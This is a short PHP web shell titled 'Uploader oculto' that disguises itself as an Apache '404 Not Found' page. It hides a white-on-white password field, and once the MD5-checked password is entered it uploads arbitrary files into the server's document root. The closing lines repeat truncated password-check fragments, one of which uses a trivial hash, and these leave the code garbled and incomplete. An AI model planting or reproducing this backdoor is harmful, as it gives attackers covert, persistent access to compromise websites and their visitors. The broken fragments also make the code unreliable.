Uploader oculto

<title>404 Not Found</title>
<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
<hr> 
<address>Apache Server at <?php echo $_SERVER['SERVER_NAME']; ?> Port 80</address> 
    <style> 
        input { margin:0;background-color:#fff;border:1px solid #fff; } 
    </style> 
    <center> 
    <form method="post"><p> 
<center><input type="password" name="pw" size="25" value=""></center> 
</form></p></center> 
<?php 
if(empty($_POST["pw"])==0){if(md5($_POST["pw"])=="76ee3de97a1b8b903319b7c013d8c877"){if(empty($_FILES["A"])==0){ 
if(move_uploaded_file($_FILES['A']['tmp_name'],$_SERVER["DOCUMENT_ROOT"].'/'.$_FILES['A']['name'])==1){echo "<center>Archivo subido!</center>";} 
}else{echo '<form enctype="multipart/form-data" action="'.$_SERVER["REQUEST_URI"].'" method="POST"><center><input name="A" type="file"><input type="submit" value="Subir"></center></form>';}exit();}} 
?>

 <form><p> 
<center><input type="password" name="pw" size="25" value=""></center> 
</form></p></center> 
<?php 
if(empty($_GET["pw"])==0){if(md5($_GET["pw"])=="202cb962ac59075b964b07152d234b70")

 <form method="post"><p> 
<center><input type="password" name="pw" size="25" value=""></center> 
</form></p></center> 
<?php 
if(empty($_POST["pw"])==0){if(md5($_POST["pw"])=="202cb962ac59075b964b07152d234b70")